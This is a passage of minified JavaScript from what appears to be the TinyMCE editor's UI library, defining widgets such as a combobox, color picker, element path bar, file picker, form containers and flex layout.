i=n.target,o=t.getEl();if(r.contains(o,i)||i==o)for(;i&&i!=o;)i.id&&i.id.indexOf("-open")!=-1&&(t.fire("action"),e.menu&&(t.showMenu(),n.aria&&t.menu.items()[0].focus())),i=i.parentNode}),t.on("keydown",function(e){var
n;13==e.keyCode&&"INPUT"===e.target.nodeName&&(e.preventDefault(),t.parents().reverse().each(function(e){if(e.toJSON)return
n=e,!1}),t.fire("submit",{data:n.toJSON()}))}),t.on("keyup",function(e){if("INPUT"==e.target.nodeName){var
n=t.state.get("value"),r=e.target.value;r!==n&&(t.state.set("value",r),t.fire("autocomplete",e))}}),t.on("mouseover",function(e){var
n=t.tooltip().moveTo(-65535);if(t.statusLevel()&&e.target.className.indexOf(t.classPrefix+"status")!==-1){var
r=t.statusMessage()||"Ok",i=n.text(r).show().testMoveRel(e.target,["bc-tc","bc-tl","bc-tr"]);n.classes.toggle("tooltip-n","bc-tc"==i),n.classes.toggle("tooltip-nw","bc-tl"==i),n.classes.toggle("tooltip-ne","bc-tr"==i),n.moveRel(e.target,i)}})},statusLevel:function(e){return
arguments.length>0&&this.state.set("statusLevel",e),this.state.get("statusLevel")},statusMessage:function(e){return
arguments.length>0&&this.state.set("statusMessage",e),this.state.get("statusMessage")},showMenu:function(){var
e=this,n=e.settings,r;e.menu||(r=n.menu||[],r.length?r={type:"menu",items:r}:r.type=r.type||"menu",e.menu=t.create(r).parent(e).renderTo(e.getContainerElm()),e.fire("createmenu"),e.menu.reflow(),e.menu.on("cancel",function(t){t.control===e.menu&&e.focus()}),e.menu.on("show
hide",function(t){t.control.items().each(function(t){t.active(t.value()==e.value())})}).fire("show"),e.menu.on("select",function(t){e.value(t.control.value())}),e.on("focusin",function(t){"INPUT"==t.target.tagName.toUpperCase()&&e.menu.hide()}),e.aria("expanded",!0)),e.menu.show(),e.menu.layoutRect({w:e.layoutRect().w}),e.menu.moveRel(e.getEl(),e.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var
e=this,t=e.getEl(),i=e.getEl("open"),o=e.layoutRect(),a,s,l=0,u=t.firstChild;e.statusLevel()&&"none"!==e.statusLevel()&&(l=parseInt(n.getRuntimeStyle(u,"padding-right"),10)-parseInt(n.getRuntimeStyle(u,"padding-left"),10)),a=i?o.w-n.getSize(i).width-10:o.w-10;var
c=document;return
c.all&&(!c.documentMode||c.documentMode<=8)&&(s=e.layoutRect().h-2+"px"),r(u).css({width:a-l,lineHeight:s}),e._super(),e},postRender:function(){var
e=this;return
r(this.getEl("inp")).on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)}),e._super()},renderHtml:function(){var
e=this,t=e._id,n=e.settings,r=e.classPrefix,i=e.state.get("value")||"",o,a,s="",l="",u="";return"spellcheck"in
n&&(l+='
spellcheck="'+n.spellcheck+'"'),n.maxLength&&(l+='
maxlength="'+n.maxLength+'"'),n.size&&(l+='
size="'+n.size+'"'),n.subtype&&(l+='
type="'+n.subtype+'"'),
u='<i id="'+t+'-status" class="mce-status
mce-ico" style="display:
none"></i>',e.disabled()&&(l+='
disabled="disabled"'),o=n.icon,o&&"caret"!=o&&(o=r+"ico
"+r+"i-"+n.icon),a=e.state.get("text"),(o||a)&&(s='<div
id="'+t+'-open" class="'+r+"btn
"+r+'open" tabIndex="-1"
role="button"><button id="'+t+'-action"
type="button" hidefocus="1"
tabindex="-1">'+("caret"!=o?'<i
class="'+o+'"></i>':'<i
class="'+r+'caret"></i>')+(a?(o?"
":"")+a:"")+"</button></div>",e.classes.add("has-open")),'<div
id="'+t+'"
class="'+e.classes+'"><input
id="'+t+'-inp" class="'+r+'textbox"
value="'+e.encode(i,!1)+'"
hidefocus="1"'+l+'
placeholder="'+e.encode(n.placeholder)+'"
/>'+u+s+"</div>"},value:function(e){return
arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(e,n){var
r=this;if(0===e.length)return void r.hideMenu();var i=function(e,t){return
function(){r.fire("selectitem",{title:t,value:e})}};r.menu?r.menu.items().remove():r.menu=t.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),o.each(e,function(e){r.menu.add({text:e.title,url:e.previewUrl,match:n,classes:"menu-item-ellipsis",onclick:i(e.value,e.title)})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(e){e.control.parent()===r.menu&&(e.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var
a=r.layoutRect().w;r.menu.layoutRect({w:a,minW:0,maxW:a}),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var
e=this;e.state.on("change:value",function(t){e.getEl("inp").value!=t.value&&(e.getEl("inp").value=t.value)}),e.state.on("change:disabled",function(t){e.getEl("inp").disabled=t.value}),e.state.on("change:statusLevel",function(t){var
r=e.getEl("status"),i=e.classPrefix,o=t.value;n.css(r,"display","none"===o?"none":""),n.toggleClass(r,i+"i-checkmark","ok"===o),n.toggleClass(r,i+"i-warning","warn"===o),n.toggleClass(r,i+"i-error","error"===o),e.classes.toggle("has-status","none"!==o),e.repaint()}),n.on(e.getEl("status"),"mouseleave",function(){e.tooltip().hide()}),e.on("cancel",function(t){e.menu&&e.menu.visible()&&(t.stopPropagation(),e.hideMenu())});var
t=function(e,t){t&&t.items().length>0&&t.items().eq(e)[0].focus()};return
e.on("keydown",function(n){var
r=n.keyCode;"INPUT"===n.target.nodeName&&(r===i.DOWN?(n.preventDefault(),e.fire("autocomplete"),t(0,e.menu)):r===i.UP&&(n.preventDefault(),t(-1,e.menu)))}),e._super()},remove:function(){r(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}})}),r(Et,[wt],function(e){return
e.extend({init:function(e){var
t=this;e.spellcheck=!1,e.onaction&&(e.icon="none"),t._super(e),t.classes.add("colorbox"),t.on("change
keyup
postrender",function(){t.repaintColor(t.value())})},repaintColor:function(e){var
t=this.getEl("open"),n=t?t.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=e}catch(r){}},bindStates:function(){var
e=this;return
e.state.on("change:value",function(t){e.state.get("rendered")&&e.repaintColor(t.value)}),e._super()}})}),r(Nt,[bt,Ae],function(e,t){return
e.extend({showPanel:function(){var
e=this,n=e.settings;if(e.active(!0),e.panel)e.panel.show();else{var
r=n.panel;r.type&&(r={layout:"grid",items:r}),r.role=r.role||"dialog",r.popover=!0,r.autohide=!0,r.ariaRoot=!0,e.panel=new
t(r).on("hide",function(){e.active(!1)}).on("cancel",function(t){t.stopPropagation(),e.focus(),e.hidePanel()}).parent(e).renderTo(e.getContainerElm()),e.panel.fire("show"),e.panel.reflow()}e.panel.moveRel(e.getEl(),n.popoverAlign||(e.isRtl()?["bc-tr","bc-tc"]:["bc-tl","bc-tc"]))},hidePanel:function(){var
e=this;e.panel&&e.panel.hide()},postRender:function(){var
e=this;return
e.aria("haspopup",!0),e.on("click",function(t){t.control===e&&(e.panel&&e.panel.visible()?e.hidePanel():(e.showPanel(),e.panel.focus(!!t.aria)))}),e._super()},remove:function(){return
this.panel&&(this.panel.remove(),this.panel=null),this._super()}})}),r(_t,[Nt,w],function(e,t){var
n=t.DOM;return
e.extend({init:function(e){this._super(e),this.classes.add("colorbutton")},color:function(e){return
e?(this._color=e,this.getEl("preview").style.backgroundColor=e,this):this._color},resetColor:function(){return
this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var
e=this,t=e._id,n=e.classPrefix,r=e.state.get("text"),i=e.settings.icon?n+"ico
"+n+"i-"+e.settings.icon:"",o=e.settings.image?"
style=\"background-image:
url('"+e.settings.image+"')\"":"",a="";return
r&&(e.classes.add("btn-has-text"),a='<span
class="'+n+'txt">'+e.encode(r)+"</span>"),'<div
id="'+t+'" class="'+e.classes+'"
role="button" tabindex="-1"
aria-haspopup="true"><button role="presentation"
hidefocus="1" type="button"
tabindex="-1">'+(i?'<i
class="'+i+'"'+o+"></i>":"")+'<span
id="'+t+'-preview"
class="'+n+'preview"></span>'+a+'</button><button
type="button" class="'+n+'open"
hidefocus="1" tabindex="-1"> <i
class="'+n+'caret"></i></button></div>'},postRender:function(){var
e=this,t=e.settings.onclick;return
e.on("click",function(r){r.aria&&"down"==r.aria.key||r.control!=e||n.getParent(r.target,"."+e.classPrefix+"open")||(r.stopImmediatePropagation(),t.call(e,r))}),delete
e.settings.onclick,e._super()}})}),r(St,[],function(){function
e(e){function i(e,i,o){var a,s,l,u,c,d;return
a=0,s=0,l=0,e/=255,i/=255,o/=255,c=t(e,t(i,o)),d=n(e,n(i,o)),c==d?(l=c,{h:0,s:0,v:100*l}):(u=e==c?i-o:o==c?e-i:o-e,a=e==c?3:o==c?1:5,a=60*(a-u/(d-c)),s=(d-c)/d,l=d,{h:r(a),s:r(100*s),v:r(100*l)})}function
o(e,i,o){var
a,s,l,u;if(e=(parseInt(e,10)||0)%360,i=parseInt(i,10)/100,o=parseInt(o,10)/100,i=n(0,t(i,1)),o=n(0,t(o,1)),0===i)return
void(d=f=p=r(255*o));switch(a=e/60,s=o*i,l=s*(1-Math.abs(a%2-1)),u=o-s,Math.floor(a)){case
0:d=s,f=l,p=0;break;case 1:d=l,f=s,p=0;break;case 2:d=0,f=s,p=l;break;case
3:d=0,f=l,p=s;break;case 4:d=l,f=0,p=s;break;case
5:d=s,f=0,p=l;break;default:d=f=p=0}d=r(255*(d+u)),f=r(255*(f+u)),p=r(255*(p+u))}function
a(){function e(e){return
e=parseInt(e,10).toString(16),e.length>1?e:"0"+e}return"#"+e(d)+e(f)+e(p)}function
s(){return{r:d,g:f,b:p}}function l(){return i(d,f,p)}function u(e){var
t;return"object"==typeof e?"r"in
e?(d=e.r,f=e.g,p=e.b):"v"in
e&&o(e.h,e.s,e.v):(t=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(e))?(d=parseInt(t[1],10),f=parseInt(t[2],10),p=parseInt(t[3],10)):(t=/#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(e))?(d=parseInt(t[1],16),f=parseInt(t[2],16),p=parseInt(t[3],16)):(t=/#([0-F])([0-F])([0-F])/gi.exec(e))&&(d=parseInt(t[1]+t[1],16),f=parseInt(t[2]+t[2],16),p=parseInt(t[3]+t[3],16)),d=d<0?0:d>255?255:d,f=f<0?0:f>255?255:f,p=p<0?0:p>255?255:p,c}var
c=this,d=0,f=0,p=0;e&&u(e),c.toRgb=s,c.toHsv=l,c.toHex=a,c.parse=u}var
t=Math.min,n=Math.max,r=Math.round;return
e}),r(kt,[Pe,_e,ve,St],function(e,t,n,r){return
e.extend({Defaults:{classes:"widget
colorpicker"},init:function(e){this._super(e)},postRender:function(){function
e(e,t){var r=n.getPos(e),i,o;return
i=t.pageX-r.x,o=t.pageY-r.y,i=Math.max(0,Math.min(i/e.clientWidth,1)),o=Math.max(0,Math.min(o/e.clientHeight,1)),{x:i,y:o}}function
i(e,t){var
i=(360-e.h)/360;n.css(d,{top:100*i+"%"}),t||n.css(p,{left:e.s+"%",top:100-e.v+"%"}),f.style.background=new
r({s:100,v:100,h:e.h}).toHex(),s.color().parse({s:e.s,v:e.v,h:e.h})}function
o(t){var
n;n=e(f,t),u.s=100*n.x,u.v=100*(1-n.y),i(u),s.fire("change")}function
a(t){var
n;n=e(c,t),u=l.toHsv(),u.h=360*(1-n.y),i(u,!0),s.fire("change")}var
s=this,l=s.color(),u,c,d,f,p;c=s.getEl("h"),d=s.getEl("hp"),f=s.getEl("sv"),p=s.getEl("svp"),s._repaint=function(){u=l.toHsv(),i(u)},s._super(),s._svdraghelper=new
t(s._id+"-sv",{start:o,drag:o}),s._hdraghelper=new
t(s._id+"-h",{start:a,drag:a}),s._repaint()},rgb:function(){return
this.color().toRgb()},value:function(e){var t=this;return
arguments.length?(t.color().parse(e),void(t._rendered&&t._repaint())):t.color().toHex()},color:function(){return
this._color||(this._color=new
r),this._color},renderHtml:function(){function e(){var
e,t,n="",i,a;for(i="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",a=o.split(","),e=0,t=a.length-1;e<t;e++)n+='<div
class="'+r+'colorpicker-h-chunk"
style="height:'+100/t+"%;"+i+a[e]+",endColorstr="+a[e+1]+");-ms-"+i+a[e]+",endColorstr="+a[e+1]+')"></div>';return
n}var
t=this,n=t._id,r=t.classPrefix,i,o="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000",a="background:
-ms-linear-gradient(top,"+o+");background: linear-gradient(to
bottom,"+o+");";return i='<div
id="'+n+'-h"
class="'+r+'colorpicker-h"
style="'+a+'">'+e()+'<div
id="'+n+'-hp"
class="'+r+'colorpicker-h-marker"></div></div>','<div
id="'+n+'"
class="'+t.classes+'"><div
id="'+n+'-sv"
class="'+r+'colorpicker-sv"><div
class="'+r+'colorpicker-overlay1"><div
class="'+r+'colorpicker-overlay2"><div
id="'+n+'-svp"
class="'+r+'colorpicker-selector1"><div
class="'+r+'colorpicker-selector2"></div></div></div></div></div>'+i+"</div>"}})}),r(Tt,[Pe],function(e){return
e.extend({init:function(e){var
t=this;e.delimiter||(e.delimiter="\xbb"),t._super(e),t.classes.add("path"),t.canFocus=!0,t.on("click",function(e){var
n,r=e.target;(n=r.getAttribute("data-index"))&&t.fire("select",{value:t.row()[n],index:n})}),t.row(t.settings.row)},focus:function(){var
e=this;return e.getEl().firstChild.focus(),e},row:function(e){return
arguments.length?(this.state.set("row",e),this):this.state.get("row")},renderHtml:function(){var
e=this;return'<div id="'+e._id+'"
class="'+e.classes+'">'+e._getDataPathHtml(e.state.get("row"))+"</div>"},bindStates:function(){var
e=this;return
e.state.on("change:row",function(t){e.innerHtml(e._getDataPathHtml(t.value))}),e._super()},_getDataPathHtml:function(e){var
t=this,n=e||[],r,i,o="",a=t.classPrefix;for(r=0,i=n.length;r<i;r++)o+=(r>0?'<div
class="'+a+'divider" aria-hidden="true">
'+t.settings.delimiter+"
</div>":"")+'<div role="button"
class="'+a+"path-item"+(r==i-1?"
"+a+"last":"")+'"
data-index="'+r+'" tabindex="-1"
id="'+t._id+"-"+r+'"
aria-level="'+(r+1)+'">'+n[r].name+"</div>";return
o||(o='<div
class="'+a+'path-item">\xa0</div>'),o}})}),r(Rt,[Tt],function(e){return
e.extend({postRender:function(){function
e(e){if(1===e.nodeType){if("BR"==e.nodeName||e.getAttribute("data-mce-bogus"))return!0;if("bookmark"===e.getAttribute("data-mce-type"))return!0}return!1}var
t=this,n=t.settings.editor;return
n.settings.elementpath!==!1&&(t.on("select",function(e){n.focus(),n.selection.select(this.row()[e.index].element),n.nodeChanged()}),n.on("nodeChange",function(r){for(var
i=[],o=r.parents,a=o.length;a--;)if(1==o[a].nodeType&&!e(o[a])){var
s=n.fire("ResolveName",{name:o[a].nodeName.toLowerCase(),target:o[a]});if(s.isDefaultPrevented()||i.push({name:s.name,element:o[a]}),s.isPropagationStopped())break}t.row(i)})),t._super()}})}),r(At,[Ne],function(e){return
e.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var
e=this,t=e._layout,n=e.classPrefix;return
e.classes.add("formitem"),t.preRender(e),'<div
id="'+e._id+'"
class="'+e.classes+'" hidefocus="1"
tabindex="-1">'+(e.settings.title?'<div
id="'+e._id+'-title"
class="'+n+'title">'+e.settings.title+"</div>":"")+'<div
id="'+e._id+'-body"
class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}})}),r(Bt,[Ne,At,m],function(e,t,n){return
e.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:20,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var
e=this,r=e.items();e.settings.formItemDefaults||(e.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),r.each(function(r){var
i,o=r.settings.label;o&&(i=new
t(n.extend({items:{type:"label",id:r._id+"-l",text:o,flex:0,forId:r._id,disabled:r.disabled()}},e.settings.formItemDefaults)),i.type="formitem",r.aria("labelledby",r._id+"-l"),"undefined"==typeof
r.settings.flex&&(r.settings.flex=1),e.replace(r,i),i.add(r))})},submit:function(){return
this.fire("submit",{data:this.toJSON()})},postRender:function(){var
e=this;e._super(),e.fromJSON(e.settings.data)},bindStates:function(){function
e(){var
e=0,n=[],r,i,o;if(t.settings.labelGapCalc!==!1)for(o="children"==t.settings.labelGapCalc?t.find("formitem"):t.items(),o.filter("formitem").each(function(t){var
r=t.items()[0],i=r.getEl().clientWidth;e=i>e?i:e,n.push(r)}),i=t.settings.labelGap||0,r=n.length;r--;)n[r].settings.minWidth=e+i}var
t=this;t._super(),t.on("show",e),e()}})}),r(Dt,[Bt],function(e){return
e.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25
15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var
e=this,t=e._layout,n=e.classPrefix;return
e.preRender(),t.preRender(e),'<fieldset
id="'+e._id+'"
class="'+e.classes+'" hidefocus="1"
tabindex="-1">'+(e.settings.title?'<legend
id="'+e._id+'-title"
class="'+n+'fieldset-title">'+e.settings.title+"</legend>":"")+'<div
id="'+e._id+'-body"
class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></fieldset>"}})}),r(Lt,[w,z,h,it,m,_],function(e,t,n,r,i,o){var
a=i.trim,s=function(e,t,n,r,i){return{type:e,title:t,url:n,level:r,attach:i}},l=function(e){for(;e=e.parentNode;){var
t=e.contentEditable;if(t&&"inherit"!==t)return
o.isContentEditableTrue(e)}return!1},u=function(t,n){return
e.DOM.select(t,n)},c=function(e){return
e.innerText||e.textContent},d=function(e){return
e.id?e.id:r.uuid("h")},f=function(e){return
e&&"A"===e.nodeName&&(e.id||e.name)},p=function(e){return
f(e)&&m(e)},h=function(e){return
e&&/^(H[1-6])$/.test(e.nodeName)},m=function(e){return
l(e)&&!o.isContentEditableFalse(e)},g=function(e){return
h(e)&&m(e)},v=function(e){return
h(e)?parseInt(e.nodeName.substr(1),10):0},y=function(e){var
t=d(e),n=function(){e.id=t};return
s("header",c(e),"#"+t,v(e),n)},b=function(e){var
n=e.id||e.name,r=c(e);return
s("anchor",r?r:"#"+n,"#"+n,0,t.noop)},C=function(e){return
n.map(n.filter(e,g),y)},x=function(e){return
n.map(n.filter(e,p),b)},w=function(e){var
t=u("h1,h2,h3,h4,h5,h6,a:not([href])",e);return
t},E=function(e){return a(e.title).length>0},N=function(e){var
t=w(e);return
n.filter(C(t).concat(x(t)),E)};return{find:N}}),r(Mt,[wt,m,h,z,I,Lt],function(e,t,n,r,i,o){var
a={},s=5,l=function(e){return{title:e.title,value:{title:{raw:e.title},url:e.url,attach:e.attach}}},u=function(e){return
t.map(e,l)},c=function(e,t){return{title:e,value:{title:e,url:t,attach:r.noop}}},d=function(e,t){var
r=n.find(t,function(t){return t.url===e});return!r},f=function(e,t,n){var
r=t in e?e[t]:n;return r===!1?null:r},p=function(e,i,o,s){var
l={title:"-"},p=function(e){var
a=n.filter(e[o],function(e){return d(e,i)});return
t.map(a,function(e){return{title:e,value:{title:e,url:e,attach:r.noop}}})},h=function(e){var
t=n.filter(i,function(t){return t.type==e});return u(t)},g=function(){var
e=h("anchor"),t=f(s,"anchor_top","#top"),n=f(s,"anchor_bottom","#bottom");return
null!==t&&e.unshift(c("<top>",t)),null!==n&&e.push(c("<bottom>",n)),e},v=function(e){return
n.reduce(e,function(e,t){var n=0===e.length||0===t.length;return
n?e.concat(t):e.concat(l,t)},[])};return
s.typeahead_urls===!1?[]:"file"===o?v([m(e,p(a)),m(e,h("header")),m(e,g())]):m(e,p(a))},h=function(e,t){var
r=a[t];/^https?/.test(e)&&(r?n.indexOf(r,e)===-1&&(a[t]=r.slice(0,s).concat(e)):a[t]=[e])},m=function(e,n){var
r=e.toLowerCase(),i=t.grep(n,function(e){return
e.title.toLowerCase().indexOf(r)!==-1});return
1===i.length&&i[0].title===e?[]:i},g=function(e){var
t=e.title;return t.raw?t.raw:t},v=function(e,t,n,r){var i=function(i){var
a=o.find(n),s=p(i,a,r,t);e.showAutoComplete(s,i)};e.on("autocomplete",function(){i(e.value())}),e.on("selectitem",function(t){var
n=t.value;e.value(n.url);var
i=g(n);"image"===r?e.fire("change",{meta:{alt:i,attach:n.attach}}):e.fire("change",{meta:{text:i,attach:n.attach}}),e.focus()}),e.on("click",function(t){0===e.value().length&&"INPUT"===t.target.nodeName&&i("")}),e.on("PostRender",function(){e.getRoot().on("submit",function(t){t.isDefaultPrevented()||h(e.value(),r)})})},y=function(e){var
t=e.status,n=e.message;return"valid"===t?{status:"ok",message:n}:"unknown"===t?{status:"warn",message:n}:"invalid"===t?{status:"warn",message:n}:{status:"none",message:""}},b=function(e,t,n){var
r=t.filepicker_validator_handler;if(r){var i=function(t){return
0===t.length?void e.statusLevel("none"):void
r({url:t,type:n},function(t){var
n=y(t);e.statusMessage(n.message),e.statusLevel(n.status)})};e.state.on("change:value",function(e){i(e.value)})}};return
e.extend({init:function(e){var
n=this,r=tinymce.activeEditor,i=r.settings,o,a,s,l=e.filetype;e.spellcheck=!1,s=i.file_picker_types||i.file_browser_callback_types,s&&(s=t.makeMap(s,/[,
]/)),s&&!s[l]||(a=i.file_picker_callback,!a||s&&!s[l]?(a=i.file_browser_callback,!a||s&&!s[l]||(o=function(){a(n.getEl("inp").id,n.value(),l,window)})):o=function(){var
e=n.fire("beforecall").meta;e=t.extend({filetype:l},e),a.call(r,function(e,t){n.value(e).fire("change",{meta:t})},n.value(),e)}),o&&(e.icon="browse",e.onaction=o),n._super(e),v(n,i,r.getBody(),l),b(n,i,l)}})}),r(Pt,[yt],function(e){return
e.extend({recalc:function(e){var
t=e.layoutRect(),n=e.paddingBox;e.items().filter(":visible").each(function(e){e.layoutRect({x:n.left,y:n.top,w:t.innerW-n.right-n.left,h:t.innerH-n.top-n.bottom}),e.recalc&&e.recalc()})}})}),r(Ot,[yt],function(e){return
e.extend({recalc:function(e){var
t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v=[],y,b,C,x,w,E,N,_,S,k,T,R,A,B,D,L,M,P,O,H,I,F,z=Math.max,U=Math.min;for(r=e.items().filter(":visible"),i=e.layoutRect(),o=e.paddingBox,a=e.settings,f=e.isRtl()?a.direction||"row-reversed":a.direction,s=a.align,l=e.isRtl()?a.pack||"end":a.pack,u=a.spacing||0,"row-reversed"!=f&&"column-reverse"!=f||(r=r.set(r.toArray().reverse()),f=f.split("-")[0]),"column"==f?(S="y",N="h",_="minH",k="maxH",R="innerH",T="top",A="deltaH",B="contentH",O="left",M="w",D="x",L="innerW",P="minW",H="right",I="deltaW",F="contentW"):(S="x",N="w",_="minW",k="maxW",R="innerW",T="left",A="deltaW",B="contentW",O="top",M="h",D="y",L="innerH",P="minH",H="bottom",I="deltaH",F="contentH"),d=i[R]-o[T]-o[T],E=c=0,t=0,n=r.length;t<n;t++)p=r[t],h=p.layoutRect(),m=p.settings,g=m.flex,d-=t<n-1?u:0,g>0&&(c+=g,h[k]&&v.push(p),h.flex=g),d-=h[_],y=o[O]+h[P]+o[H],y>E&&(E=y);if(x={},d<0?x[_]=i[_]-d+i[A]:x[_]=i[R]-d+i[A],x[P]=E+i[I],x[B]=i[R]-d,x[F]=E,x.minW=U(x.minW,i.maxW),x.minH=U(x.minH,i.maxH),x.minW=z(x.minW,i.startMinWidth),x.minH=z(x.minH,i.startMinHeight),!i.autoResize||x.minW==i.minW&&x.minH==i.minH){for(C=d/c,t=0,n=v.length;t<n;t++)p=v[t],h=p.layoutRect(),b=h[k],y=h[_]+h.flex*C,y>b?(d-=h[k]-h[_],c-=h.flex,h.flex=0,h.maxFlexSize=b):h.maxFlexSize=0;for(C=d/c,w=o[T],x={},0===c&&("end"==l?w=d+o[T]:"center"==l?(w=Math.round(i[R]/2-(i[R]-d)/2)+o[T],w<0&&(w=o[T])):"justify"==l&&(w=o[T],u=Math.floor(d/(r.length-1)))),x[D]=o[O],t=0,n=r.length;t<n;t++)p=r[t],h=p.layoutRect(),y=h.maxFlexSize||h[_],"center"===s?x[D]=Math.round(i[L]/2-h[M]/2):"stretch"===s?(x[M]=z(h[P]||0,i[L]-o[O]-o[H]),x[D]=o[O]):"end"===s&&(x[D]=i[L]-h[M]-o.top),h.flex>0&&(y+=h.flex*C),x[N]=y,x[S]=w,p.layoutRect(x),p.recalc&&p.recalc(),w+=y+u}else
if(x.w=x.minW,x.h=x.minH,e.layoutRect(x),this.recalc(e),null===e._lastRect){var
W=e.parent();W&&(W._lastRect=null,W.recalc())}}})}),r(Ht,[vt],function(e){return
e.extend({Defaults:{containerClass:"flow-layout",controlClass:"flow-layout-item",endClass:"break"},recalc:function(e){e.items().filter(":visible").each(function(e){e.recalc&&e.recalc()})},isNative:function(){return!0}})}),r(It,[w],function(e){var
n=function(e,t,n){for(;n!==t;){if(n.style[e])return
n.style[e];n=n.parentNode}return""},r=function(e){return/[0-9.]+px$/.test(e)?Math.round(72*parseInt(e,10)/96)+"pt":e},i=function(e){return
e.replace(/[\'\"]/g,"").replace(/,\s+/g,",")},o=function(t,n){return
e.DOM.getStyle(n,t,!0)},a=function(e,t){var
r=n("fontSize",e,t);return""!==r?r:o("fontSize",t)},s=function(e,r){var
a=n("fontFamily",e,r),s=""!==a?a:o("fontFamily",r);return
s!==t?i(s):""};return{getFontSize:a,getFontFamily:s,toPt:r}}),r(Ft,[xe,Pe,Ae,m,h,w,ut,d,It],function(e,t,n,r,i,o,a,s,l){function
u(e){e.settings.ui_container&&(s.container=o.DOM.select(e.settings.ui_container)[0])}function
c(t){t.on("ScriptsLoaded",function(){t.rtl&&(e.rtl=!0)})}function
d(e){function t(t,n){return function(){var
r=this;e.on("nodeChange",function(i){var
o=e.formatter,a=null;f(i.parents,function(e){if(f(t,function(t){if(n?o.matchNode(e,n,{value:t.value})&&(a=t.value):o.matchNode(e,t.value)&&(a=t.value),a)return!1}),a)return!1}),r.value(a)})}}function
i(t){return function(){var n=this,r=function(e){return
e?e.split(",")[0]:""};e.on("nodeChange",function(i){var
o,a=null;o=l.getFontFamily(e.getBody(),i.element),f(t,function(e){e.value.toLowerCase()===o.toLowerCase()&&(a=e.value)}),f(t,function(e){a||r(e.value).toLowerCase()!==r(o).toLowerCase()||(a=e.value)}),n.value(a),!a&&o&&n.text(r(o))})}}function
o(t){return function(){var
n=this;e.on("nodeChange",function(r){var
i,o,a=null;i=l.getFontSize(e.getBody(),r.element),o=l.toPt(i),f(t,function(e){e.value===i?a=i:e.value===o&&(a=o)}),n.value(a),a||n.text(o)})}}function
a(e){e=e.replace(/;$/,"").split(";");for(var
t=e.length;t--;)e[t]=e[t].split("=");return e}function
s(){function t(e){var n=[];if(e)return f(e,function(e){var
o={text:e.title,icon:e.icon};if(e.items)o.menu=t(e.items);else{var
a=e.format||"custom"+r++;e.format||(e.name=a,i.push(e)),o.format=a,o.cmd=e.cmd}n.push(o)}),n}function
n(){var n;return
n=t(e.settings.style_formats_merge?e.settings.style_formats?o.concat(e.settings.style_formats):o:e.settings.style_formats||o)}var
r=0,i=[],o=[{title:"Headings",items:[{title:"Heading
1",format:"h1"},{title:"Heading
2",format:"h2"},{title:"Heading
3",format:"h3"},{title:"Heading
4",format:"h4"},{title:"Heading
5",format:"h5"},{title:"Heading
6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}];return
e.on("init",function(){f(i,function(t){e.formatter.register(t.name,t)})}),{type:"menu",items:n(),onPostRender:function(t){e.fire("renderFormatsMenu",{control:t.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return
e.formatter.getCssText(this.settings.format)},onPostRender:function(){var
t=this;t.parent().on("show",function(){var
n,r;n=t.settings.format,n&&(t.disabled(!e.formatter.canApply(n)),t.active(e.formatter.match(n))),r=t.settings.cmd,r&&t.active(e.queryCommandState(r))})},onclick:function(){this.settings.format&&h(this.settings.format),this.settings.cmd&&e.execCommand(this.settings.cmd)}}}}function
u(t){return function(){var
n=this;e.formatter?e.formatter.formatChanged(t,function(e){n.active(e)}):e.on("init",function(){e.formatter.formatChanged(t,function(e){n.active(e)})})}}function
c(t){return function(){function n(){var
n="redo"==t?"hasRedo":"hasUndo";return!!e.undoManager&&e.undoManager[n]()}var
r=this;r.disabled(!n()),e.on("Undo Redo AddUndo TypingUndo ClearUndos
SwitchMode",function(){r.disabled(e.readonly||!n())})}}function
d(){var
t=this;e.on("VisualAid",function(e){t.active(e.hasVisual)}),t.active(e.hasVisual)}function
h(t){t.control&&(t=t.control.value()),t&&e.execCommand("mceToggleFormat",!1,t)}function
m(t){var n=t.length;return
